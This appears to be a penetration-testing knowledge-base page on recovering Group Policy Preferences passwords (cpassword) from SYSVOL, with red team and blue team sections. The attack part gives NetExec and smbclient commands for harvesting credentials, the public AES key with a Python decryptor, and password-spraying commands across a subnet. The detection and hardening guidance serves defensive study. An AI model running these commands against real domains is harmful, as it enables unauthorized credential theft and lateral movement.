GPP Passwords (cpassword)
Group Policy Preferences (GPP), introduced with Windows Server 2008, let administrators
configure things such as local accounts, services, scheduled tasks or mapped drives through GPOs,
including their password. That password was stored in an XML file inside SYSVOL, in the
cpassword attribute, encrypted with AES-256. The problem: Microsoft published the key in the
protocol specification, and SYSVOL is readable by every authenticated domain user. MS14-025
(2014) removed the option to store passwords, but did not delete the XML files that already
existed, so they still turn up in older domains.
flowchart LR
U["Any domain user"] -->|"reads SYSVOL (SMB)"| X["Policies/{GUID}/…/Groups.xml<br/>cpassword=…"]
X -->|"AES-256 with a public key"| P["Cleartext password"]
P -->|"often local admin,<br/>same on every machine"| L["Lateral movement"]
Threat model
Section titled “Threat model”SYSVOL is replicated to every DC and read by every computer and user in the domain to apply
policies: reading it isn’t suspicious. An attacker with any domain credential (or none, if a
copy of SYSVOL is exposed without authentication, as on Active) downloads the XML files, decrypts
cpassword and gets passwords that, given how GPP was used, are often local admin on many
machines at once or service accounts.
Anatomy
Section titled “Anatomy”Where they are
Section titled “Where they are”\\corp.local\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml\\corp.local\SYSVOL\corp.local\Policies\{GPO-GUID}\User\Preferences\...| File | What it configures | Password attribute |
|---|---|---|
Groups.xml |
Local users and groups (e.g. the local Administrator) | cpassword |
Services.xml |
Account a service runs as | cpassword |
ScheduledTasks.xml |
Account of a scheduled task | cpassword |
DataSources.xml |
ODBC data sources | cpassword |
Drives.xml |
Mapped network drives | cpassword |
Printers.xml |
Shared printers | cpassword |
Registry.xml |
Registry keys (e.g. autologon) | DefaultPassword in cleartext |
A trimmed example of Groups.xml:
<User clsid="{…}" name="Administrator (built-in)" …> <Properties action="U" newName="" fullName="" description="" cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" userName="Administrator (built-in)" …/></User>Why the encryption doesn’t protect anything
Section titled “Why the encryption doesn’t protect anything”cpassword is the UTF-16LE password encrypted with AES-256-CBC, a zero IV and a fixed 32-byte
key that Microsoft documents in [MS-GPPREF] 2.2.1.1.4 Password Encryption:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1bWith a public key, decrypting is trivial. The value is Base64 without the trailing = padding.
What MS14-025 did
Section titled “What MS14-025 did”The MS14-025 bulletin (May 2014, CVE-2014-1812) removed the ability to enter passwords in those extensions from the GPO console. It does not remove existing XML files: if someone set a password before 2014 and nobody cleaned up the GPO, the file is still in SYSVOL and still being replicated.
Variants
Section titled “Variants”| Variant | Where | Condition |
|---|---|---|
cpassword in Preferences |
Policies/{GUID}/*/Preferences/*.xml |
GPO configured before MS14-025 and never cleaned up |
Autologon in Registry.xml |
DefaultUserName / DefaultPassword |
Autologon policy pushed by GPO |
| Credentials in scripts | SYSVOL/…/scripts, NETLOGON (.bat, .ps1, .vbs) |
Logon scripts with hardcoded passwords |
| Exposed copy of SYSVOL | A replication or backup share | Readable without authentication (rare, but it happens) |
Red Team
Section titled “Red Team”Searching
Section titled “Searching”With domain credentials, NetExec has modules for both cases:
nxc smb dc01.corp.local -u jdoe -p 'Passw0rd!' -M gpp_password # cpassword in Preferences XML filesnxc smb dc01.corp.local -u jdoe -p 'Passw0rd!' -M gpp_autologin # DefaultPassword in Registry.xmlBy hand, downloading the whole of SYSVOL and searching:
smbclient //dc01.corp.local/SYSVOL -U 'corp.local/jdoe%Passw0rd!' -c 'recurse ON; prompt OFF; mget *'grep -ril 'cpassword\|DefaultPassword' corp.local/Policies/grep -riE 'pass(word)?\s*[=:]' corp.local/scripts/ 2>/dev/null # passwords in scriptsFrom a domain-joined machine:
findstr /S /I cpassword \\corp.local\SYSVOL\corp.local\Policies\*.xmlDecrypting
Section titled “Decrypting”gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'In Python, without depending on Kali:
import base64from Crypto.Cipher import AES # pycryptodome
KEY = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")c = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"c += "=" * (-len(c) % 4) # the XML omits the Base64 paddingraw = AES.new(KEY, AES.MODE_CBC, b"\x00" * 16).decrypt(base64.b64decode(c))print(raw[:-raw[-1]].decode("utf-16-le")) # strip the PKCS#7 paddingUsing the credential
Section titled “Using the credential”The GPO tells you what the password applied to: the XML’s userName and the GPO’s scope
(which OUs it’s linked to). The usual case:
# Local administrator set by GPO: try it on every machine with local authenticationnxc smb 10.10.10.0/24 -u 'Administrator' -p 'DecryptedPassword' --local-auth# Domain account (service, task): validate it and see what it allowsnxc smb dc01.corp.local -u svc_tasks -p 'DecryptedPassword' --sharesThe XML may be old and the password no longer valid. Compare the XML’s changed= date with the
GPO’s modification date, and validate before going further. If it works, move on to
lateral movement or Kerberoasting
with the new account.
Researcher workflow
Section titled “Researcher workflow”- With the first domain credential, run
gpp_passwordandgpp_autologin. - Manually review SYSVOL and NETLOGON for passwords in scripts.
- Decrypt and note which account and scope each password applied to.
- Validate the credential while respecting the lockout policy (
--pass-pol). - If it’s a local admin, test reuse across the whole range with
--local-auth.
- NetExec (
gpp_passwordandgpp_autologinmodules). - gpp-decrypt (Kali) or the Python script above.
- PowerSploit
Get-GPPPasswordandGet-GPPAutologonfrom Windows. - smbclient / findstr for manual searching.
Impact and chaining
Section titled “Impact and chaining”A local admin password shared by many machines lets you dump credentials on all of them (credential dumping) until you find a domain admin’s session. A domain service account opens Kerberoasting, BloodHound with new permissions or direct access to servers.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”Reading SYSVOL is normal, so the read itself carries little signal. What helps:
- With detailed file share auditing, 5145 on
Preferences*.xmlfiles from machines or accounts that don’t usually touch them, in bursts. - Deception (honeytoken): leave a
Groups.xmlwith acpasswordfor an unprivileged decoy account and alert on any logon attempt with it (4625, 4771, 4768). - Logons with the built-in local administrator on many machines in a short time.
Telemetry and sources
Section titled “Telemetry and sources”Share access auditing on the DCs, machine logon events and Microsoft Defender for Identity.
Hardening
Section titled “Hardening”- Find and remove:
findstr /S /I cpassword \\<domain>\SYSVOL\<domain>\Policies\*.xmlor the script Microsoft published with MS14-025 (Get-SettingsWithCPassword.ps1). Delete the preference from the GPO console, not just the file. - Rotate every password that has ever been in a
cpassword, even if the XML looks old: treat them as compromised. - Replace local admin management with Windows LAPS (a unique, rotated password per machine).
- Remove passwords from logon scripts and from GPO-driven autologon.
- Make sure copies of SYSVOL (replication, backups) aren’t exposed without authentication.
Response
Section titled “Response”Rotate the exposed credentials, review those accounts’ logons since the GPO’s date and hunt for lateral movement with the local admin.
CVEs and real cases
Section titled “CVEs and real cases”- MS14-025 / CVE-2014-1812 (May 2014): Microsoft acknowledged that GPP passwords could be recovered and removed the option, without cleaning up existing XML files.
- The AES key is published in the [MS-GPPREF] specification itself, which is why tools have had it hardcoded since 2012.
- A recurring finding in domains with history: GPOs created to set the local administrator in the Windows 7 era that nobody has reviewed since.
More information on NVD (https://nvd.nist.gov/vuln/detail/CVE-2014-1812).
Testing checklist
Section titled “Testing checklist”-
gpp_passwordandgpp_autologinrun with the first credential. - Non-standard shares with a SYSVOL layout checked (also without credentials).
- SYSVOL and NETLOGON scripts reviewed.
- Passwords decrypted, with their account and scope noted.
- Credentials validated while respecting the lockout policy.
- Local admin reuse checked with
--local-auth.